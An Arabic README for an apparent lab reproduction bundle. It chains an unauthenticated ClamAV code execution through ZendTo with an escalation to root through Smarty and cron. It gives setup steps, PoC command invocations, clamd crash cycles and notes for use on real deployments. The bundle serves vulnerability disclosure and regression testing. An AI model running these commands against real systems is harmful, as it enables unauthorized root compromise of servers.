
يعيد إنتاج ثغرة RCE غير مصادق عليها في ClamAV ضمن ZendTo وتصعيد امتيازات إلى صلاحيات الجذر في مختبر مُصرَّح به، مع هدف Docker مُثبَّت الإصدار، وتحقق يعمل بمبدأ الإغلاق عند الفشل، ومخرجات مربوطة بـ nonce، وتنظيف.
هذا الدليل عبارة عن حزمة إعادة إنتاج قائمة بذاتها لمختبر مأذون به، وتغطي سلسلة تنفيذ التعليمات البرمجية من ZendTo إلى ClamAV بدون حساب، بالإضافة إلى امتدادها المنفصل القائم على Smarty/مهمة الجذر المجدولة (root-cron) في ملف التعريف الافتراضي. وتتضمن:
ينفّذ إثبات المفهوم الأولي أمرًا يختاره المستدعي بحساب خدمة clamav القياسي. أما المتغير الاختياري فيواصل ذلك التمكّن (foothold) بدون حساب لتنفيذ أمر يختاره المستدعي بصلاحيات root. وكلاهما يستخدم id افتراضيًا، ويرفض المسار الحرفي /root/flag، ويعيد مخرجات مرتبطة بـ nonce عبر HTTPS.
علاقات المجموعة والدليل وSmarty ومهام الجذر المجدولة القابلة للاستغلال هي الإعدادات الافتراضية لحزمة/مثبّت ZendTo في Debian. ومع ذلك، فإن الوصول إلى root مشروط بالبيئة: هذه العينة الإيجابية الدقيقة تستخدم وحدة تخزين /var/zendto بنظام ملفات ext4، مع FFI/POSIX/exec فعّال في PHP CLI، وعملية clamd غير مقيدة. فرض AppArmor/SELinux أو دلالات أنظمة ملفات غير متوافقة يمكن أن يمنع الامتداد على تثبيت قياسي آخر بخلاف ذلك.
استخدم هذا فقط على العينة القابلة للتخلص المرفقة أو على نظام آخر مُخوّل لك اختباره صراحةً.
الهدف الدقيق الموثوق هو أثر محلي غير مُرقّم إصدارًا عمدًا في:
image/zendto-installer-systemd-debian12.tar.zst
يتجاهل Git أرشيفات صور Docker. قبل اختبار الانحدار الدقيق، ضع نسخة محلية مأذونًا بها في ذلك المسار؛ يتطلب scripts/setup.sh قيمة SHA-256 ومعرّف الصورة المسجّلين. يوثّق source-recipe/README.md كيف تم بناء الصورة المشتقة من المثبّت والتقاطها. البناء الجديد من مستودعات الحزم الحية مفيد لاختبار الطوبولوجيا لكنه لا يُفترض أن يكون مطابقًا بايتًا ببايت للهدف المثبّت.
يرفض سكربت الإعداد ونقطة دخول الحاوية أي عدم تطابق مع الملف التعريفي التالي:
القيم الكاملة موجودة في PROFILE.json.
هذا أقوى من تثبيت إصدار حزمة ClamAV فقط. بناء المخصّص (allocator) يعتمد أيضًا على glibc، وحركة مرور المحلل المدفوعة بـ CVD، وإعدادات العاملين، والمكتبة الهدف الدقيقة. FreshClam معطّل في الصورة الملتقطة، ويفشل الإقلاع إذا انجرف daily.cvd أو ظهر daily.cld.
الحاوية البحثية طويلة التشغيل حاليًا في مساحة العمل الأصلية ليست العينة النظيفة: الاختبارات اللاحقة عطّلت نموذج المرسل الخارجي فيها وحدّثت قاعدة بياناتها اليومية. تلك التغييرات مستبعدة عمدًا هنا. تستخدم هذه الحزمة خط الأساس النظيف الذي أُثبت على أساسه التنفيذ الأصلي.
/sys/fs/cgroupzstd، وPython 3 مع venv، ومترجم C، وfile، وGNU readelfيتشارك الهدف مع مضيفه نواة kernel وتطبيق ASLR. لذلك يبقى سلوك التعيين المعتمد على النواة متغيّر قابلية نقل (portability).
يجب أن يتشارك نظام systemd واحد فقط في مساحة اسم cgroup الخاصة بالمضيف في كل مرة. على جهاز البحث الأصلي، أوقف النموذج الأقدم دون حذفه:
docker stop zendto-installer-systemd-native
يمكن لاحقًا استعادته باستخدام docker start zendto-installer-systemd-native.
من هذا الدليل:
./scripts/verify-bundle.sh
./scripts/setup.sh
يقوم سكربت الإعداد بما يلي:
.venv مع تبعيات PoC الخاصة بـ Python المثبّتة؛/var/zendto مسماة جديدة ويشغّل systemd؛ وrenameat2(RENAME_EXCHANGE) القابلة للتخلص المنفذة بحساب clamav.نقاط النهاية الافتراضية مقتصرة على الحلقة المحلية (loopback) فقط:
http://127.0.0.1:18084/
https://127.0.0.1:18447/
الشهادة ذاتية التوقيع. يستخدم PoC عمدًا verify=False لكل طلب HTTP. يمكن اختيار منافذ loopback مختلفة قبل الإعداد:
export ZENDTO_HTTP_PORT=19084
export ZENDTO_HTTPS_PORT=19447
./scripts/setup.sh
استخدم متغيرات البيئة نفسها لأوامر Compose/الأدوات المساعدة اللاحقة.
افحص الهدف في أي وقت:
./scripts/verify-target.sh
docker compose ps
خط الأساس النظيف للمثبّت يتضمن:
allowExternalUploads = TRUE
confirmExternalEmails = TRUE
captcha = google
قيم CAPTCHA والبريد فيه عناصر نائبة من المثبّت، لذا لا يمكن للأرشيف غير المعدَّل تسليم رسالة التحقق العامة فعليًا. اختبار الانحدار الأصلي مثّل خطوة التطبيق المكتملة تلك فقط بصف AuthData مكافئ لمرسل خارجي. لم يتم تصحيح كود الهدف أو الحزم أو الماسح أو الصلاحيات أو مسار الاستغلال.
أنشئ ذلك الصف المخبري الواحد وملف رمز من الوضع 0600 باستخدام:
./scripts/mint-lab-auth.py [email protected]
يتم إخفاء قيمة الرمز وتخزينها في:
.lab/upload-auth-token.txt
هذه الأداة المحلية ليست ادعاءً بأن نشرًا معطلًا للرفع الخارجي يمكن استغلاله عن بُعد. إذا كان نموذج المرسل الخارجي العام معطلًا، يتوقف PoC بشكل صحيح قبل ClamAV حتى عند توفير ملف رمز.
على نشر مأذون به مهيأ بشكل طبيعي، احذف --external-auth-token-file: افتح صفحة التحقق يدويًا، وحل CAPTCHA، واستلم الرسالة التي يولّدها الهدف في صندوق بريد يتحكم به المهاجم، والصق عنوان URL/الرمز الخاص بها عند المطالبة المخفية.
لا يرسل هذا الوضع أي CAPTCHA أو بريد إلكتروني أو قدرات أو رفع أو POST تسجيل دخول أو محتوى ماسح. يمنع --skip-clamd-tcp-probe أيضًا الفحص الاختياري للقراءة فقط عبر TCP/3310:
mkdir -p -m 700 work
.venv/bin/python poc/zendto_6_15_8_unauth_clamav_rce.py \
https://127.0.0.1:18447 \
--enumerate-only \
--skip-clamd-tcp-probe \
--fingerprint-json work/fingerprint.json
ما زال التعداد يولّد سجلات وصول ويب عادية ويمكنه تهيئة مخابئ التطبيق العادية. نتيجته المتعلقة بتخطيط Apache في Debian/Ubuntu لا تثبت الحزمة الأصلية أو Build ID أو libc أو قواعد CVDs أو سياسة المقبس أو حالة MAC. يوفر سكربت التحقق المحلي عبر Docker هذا الدليل لهذه العينة.
يتحقق هذا من حامل المختبر وسياسة المستلم لكنه لا يرسل أي ملف أو محتوى ماسح:
.venv/bin/python poc/zendto_6_15_8_unauth_clamav_rce.py \
https://127.0.0.1:18447 \
--sender-email [email protected] \
--recipient [email protected]. \
--external-auth-token-file .lab/upload-auth-token.txt \
--probe-only \
--no-open-browser
يطابق [email protected]. قيمة النطاق الداخلي غير المعتادة عمدًا test. التي أُدخلت عند إنشاء عينة المثبّت هذه. قد يتطلب نشر مخصص حقيقي مستلمًا مخوّلًا فعليًا.
تحذير: هذا ليس فحص ماسح حميدًا. قبل المحاولة الأولى، يرسل الوضع البعيد EICAR، ويُسقط clamd عمدًا عبر مميّز PESpin، ويُثبت الاسترداد المُفعَّل بالمقبس، ويشغّل استكشافين نهائيين لصفحات الترميز مع دورات انهيار/استرداد إضافية. التعيينات المرفوضة تقتل clamd عمدًا.
استخدم دليل عمل جديدًا وأمرًا غير ضار:
run_dir="work/run-$(date +%Y%m%d-%H%M%S)"
mkdir -m 700 "$run_dir"
.venv/bin/python poc/zendto_6_15_8_unauth_clamav_rce.py \
https://127.0.0.1:18447 \
--sender-email [email protected] \
--recipient [email protected]. \
--external-auth-token-file .lab/upload-auth-token.txt \
--oracle-conditioned-attempts 72 \
--command 'id; uname -a' \
--workdir "$run_dir" \
--keep-workdir
المسار المكيّف المفضل يختبر تعيين nibble-8 المفيد قبل إرسال حامل إفساد واحد. التجميع الحالي لثلاث تخطيطات هو تصحيح لاحق لدورة الحياة؛ مراحله التاريخية - نظام oracle أحادي التخطيط ومراحل RCE في نفس العملية - موثقة بشكل منفصل في docs/.
البديل الأعمى الثابت nibble-6 متاح صراحةً:
.venv/bin/python poc/zendto_6_15_8_unauth_clamav_rce.py \
https://127.0.0.1:18447 \
--sender-email [email protected] \
--recipient [email protected]. \
--external-auth-token-file .lab/upload-auth-token.txt \
--restart-resample-attempts 72 \
--command 'id; uname -a' \
--workdir work/blind-run \
--keep-workdir
في ظل نموذج nibble موحد مستقل، فإن 47 تعيينًا جديدًا تعطي حوالي 95% و72 حوالي 99%. تلك احتمالات تعيين هندسية، وليست ضمانات موثوقية من البداية إلى النهاية. كل تعيين مرفوض يستغرق تأخير الاسترداد البالغ 12 ثانية على الأقل بالإضافة إلى فترة تقاعد العامل الإلزامية البالغة 40 ثانية، باستثناء وقت الفحص. تشغيل بـ72 محاولة قد يتجاوز الساعة.
لا تتم قراءة النتيجة من رد اتصال (callback) أو webshell. ينشئ الـ DSO حامل AuthData منفصلًا للإخراج فقط لمدة 30 دقيقة، وينفذ /bin/sh -c بحساب clamav، ويعيد stdout/stderr محدودًا عبر صفحة ZendTo مجهولة. يتطلب النجاح نتيجة مؤطرة واحدة متسقة في كل ما يلي:
zendto_unauth_clamav_rce_result=1الدليل المفقود أو المكرر أو المبتور أو غير المتطابق هو تشغيل فاشل.
شغّل هذا فقط بعد أن يبلغ ./scripts/verify-target.sh عن نجاح كل من [target] و[privesc-target]. ينفذ الغلاف أولاً مرحلة ClamAV نفسها بدون حساب، ويتطلب دليل التسليح المحدود الدقيق الخاص بها، ثم ينتظر مستهلك cron الجذر القياسي دون تغيير:
.venv/bin/python poc/zendto_clamav_to_root_smarty_privesc.py chain-unauth \
https://127.0.0.1:18447 \
--sender-email [email protected] \
--recipient [email protected]. \
--external-auth-token-file .lab/upload-auth-token.txt \
--oracle-conditioned-attempts 72 \
--root-command 'id; uname -a' \
--keep-workdir
خيار ملف الرمز هو فقط بديل البريد المكتمل للعينة. في سير عمل عام مأذون به، احذفه وأكمل مطالبة CAPTCHA/البريد يدويًا. لا يُستخدم أي اسم مستخدم أو كلمة مرور ZendTo في chain-unauth.
مرحلة الجذر منفصلة عمدًا رغم أن الغلاف يؤتمت تسليمها. وهي:
savechunk.php غير المصادق؛clamav؛/zendto-root-result-<nonce>.json مع verify=False، وتتطلب euid=0 وتجزئة الأمر الدقيقة وعلامة الاستعادة وnonce الإكمال.قد يجعل cron الاستطلاع النهائي ينتظر ما يقرب من ساعة؛ المهلة الافتراضية 3900 ثانية. أمر الجذر محدود بـ 1024 بايت و30 ثانية، مع حد أقصى 1 MiB لكل من stdout وstderr. ملف JSON الموجَّه بـ nonce قابل للقراءة عبر الويب عمدًا في هذا المختبر القابل للتخلص، لذا استخدم فقط مخرجات اختبار غير ضارة.
للتنظيم اليدوي، يطبع emit الأمر الدقيق الذي يجب تمريره إلى --command في PoC بدون حساب؛ بعد دليل التسليح، استخدم poll مع معرّف التشغيل المطبوع وقيمة SHA-256 لأمر الجذر الدقيق. راجع docs/SMARTY_ROOT_BRIDGE.md للبناء ونص التدقيق.
من المتوقع أن يتوقف هذا المتغير بأمان عند غياب أي شرط مسبق. لا تسمح بتداخل الأذرع ولا تعِد تشغيلًا غامضًا: المراحل الفاشلة قد تترك ملف PHP واردًا أو استنساخًا مخفيًا أو قفلًا أو مخبأً مبدلًا. استخدم عينة جديدة لكل اختبار جذر:
./scripts/reset-lab.sh --yes-delete-lab-volume
./scripts/mint-lab-auth.py [email protected]
يُدعم إفساد ناجح واحد لكل عملية clamd. الاستدعاء الثاني مبرر فقط بعد أن يعيد استكشاف إعادة التدوير المدمر من تشغيل جديد استجابة فشل الماسح المتوقعة ويُثبت EICAR الاسترداد عبر المقبس النشط. لا تعِد استخدام معرّف تشغيل أو اسم قطعة مرحلية أو حامل نتيجة أو دليل عمل عميل.
توقف فورًا عند أي إعادة توجيه أو مهلة شبكة أو استجابة/حالة غامضة أو استجابة نظيفة غير متوقعة أو فشل استرداد EICAR. لا تعِد إرسال طلب الإفساد السابق يدويًا إلى خدمة (daemon) غير مؤكدة.
الخدمة المعبأة لديها Restart=no. تأتي قابلية التكرار من clamav-daemon.socket النشط، وليس من سياسة إعادة تشغيل تلقائية. إذا كان المقبس معطلًا أو محدود الإقلاع (start-limited)، فقد تترك الأعطال المتعمدة الماسح غير متاح.
تشمل البقايا المتوقعة للهدف سجلات الوصول/الخطأ، وسجلات انهيار أو نوى تفريغ (cores) لـ clamd، وملفات ادعاء يتيمة محدودة من حراس oracle النظيفة، وملف DSO واحد للإلحاق فقط /var/zendto/incoming/Bridge<nonce>.1، وصفوف AuthData قصيرة العمر. لا يُخرِج التنظيف القياسي ادعاءات اليتامى العادية إلا بعد مرور أكثر من يوم.
يترك متغير الجذر إضافةً إلى ذلك أداة تسليح PHP بـ nonce، واستنساخًا مخفيًا وقفلًا، ونتيجة JSON عامة يملكها root، ومخرجات stdout/stderr خاصة في /run. الغلاف الناجح يستعيد templates_c الحقيقي قبل تنفيذ أمر الجذر، لكن ملفات الإثبات هذه تبقى حتى إعادة تعيين الحاوية ووحدة التخزين.
قم بإبطال حامل رفع المختبر بعد الاختبار:
./scripts/revoke-lab-auth.py
أوقف الهدف مع الحفاظ على وحدة تخزين الأدلة الخاصة به:
docker compose down
لإعادة تعيين نظيفة، احذف صراحةً وحدة التخزين المسماة الخاصة بهذا المشروع فقط وأعد تشغيله من الصورة المثبّتة:
./scripts/reset-lab.sh --yes-delete-lab-volume
أرشِف دليل العمل وملف fingerprint JSON قبل إعادة التعيين إذا كانت مطلوبة كدليل.
docker-compose.yml exact systemd/socket target topology
PROFILE.json exact package/hash/CVD profile
image/*.tar.zst local ignored target artifact
poc/ no-account driver and support modules
third_party/ minimized builder/source/binary closure
scripts/setup.sh image/client/Compose setup
scripts/verify-bundle.sh delivery-manifest verification
scripts/verify-target.sh fail-closed target verification
scripts/verify-privesc-target.sh root-variant semantic preflight
scripts/mint-lab-auth.py local completed-email substitute
scripts/revoke-lab-auth.py remove that lab bearer
scripts/reset-lab.sh explicit clean-volume reset
source-recipe/ installer provenance, not exact rebuild
docs/ technical regression/audit notes
يُرفَق source-recipe/install.ZendTo.tgz ودليل التشغيل الخاص به لأغراض إثبات المصدر وبناء المصدر. لا تعامل بناءً جديدًا من مستودعات حية على أنه دقيق: المثبّت لا يُثبِّت كل الحزم أو قواعد بيانات ClamAV. الانحدار الدقيق يتطلب أن يطابق أرشيف الصورة المحلي المتجاهَل PROFILE.json.
يغطي MANIFEST.sha256 كل ملف تم تسليمه ما عدا نفسه. أرشيفات صور Docker، والأداة المساعدة المترجمة على المضيف third_party/installer-runtime/clamav-pespin/pespin_summit، وأشجار .venv و.lab وwork و__pycache__ المولّدة كلها متجاهلة. يعيد الإعداد بناء الأداة المساعدة من كودها المصدري في البيان ويتحقق من الصورة المحلية بشكل منفصل.
الفحوصات الثابتة وقت التعبئة، والفحوصات الاستباقية عن بُعد، وإعادة المعاينة الاحتمالية، والفحوصات المزوّدة بأدوات القياس من البداية إلى النهاية موثقة في docs/BUNDLE_VALIDATION.md. يميّز السجل الملاحظات عن بُعد عن تشغيل التحقق الوحيد الذي زُوّد صراحةً بأساس وحدة نمطية لوحظ محليًا.
| المكوّن | القيمة الدقيقة المختبرة |
|---|
| Docker image ID | sha256:de6d2f06ca04943362a9bdec5026e808448953728f31bd926343a4ed2ca2ef7c |
| ZendTo | 6.15-8 |
| ClamAV/libclamav package | 1.4.3+dfsg-1~deb12u2 |
| libclamav | libclamav.so.12.0.3, SHA-256 55e3cd94…027c |
| libclamav Build ID | e6427ab62146ee3001fe463d12e797e9d25bf81a |
| glibc | 2.36-9+deb12u14, SHA-256 6b4a4535…421 |
| main database | v63, SHA-256 0b2182d2…365 |
| daily database | v28082, SHA-256 cddbcccf…906 |
| bytecode database | v339, SHA-256 6d4aa01f…ffb |
| clamd | MaxThreads 12, IdleTimeout 30, Restart=no |
| دورة الحياة | clamav-daemon.socket مفعّل، systemd PID 1 |
| بيئة الويب | Apache 2.4.68, PHP 8.2.32 |
| وضعية MAC | حاوية Docker مميزة (privileged) غير مقيدة |
| جسر الجذر | clamav القياسي في مجموعة www-data؛ /var/zendto root:www-data 0775 |
| مستهلك الجذر | مهمة تنظيف cron قياسية كجذر، كل ساعة عند الدقيقة 25 |
| ذاكرة Smarty المؤقتة | zendto.conf المترجم الحتمي Smarty 4.5.4 |
| نظام ملفات التبادل | وحدة تخزين /var/zendto مسماة بنظام ext4 |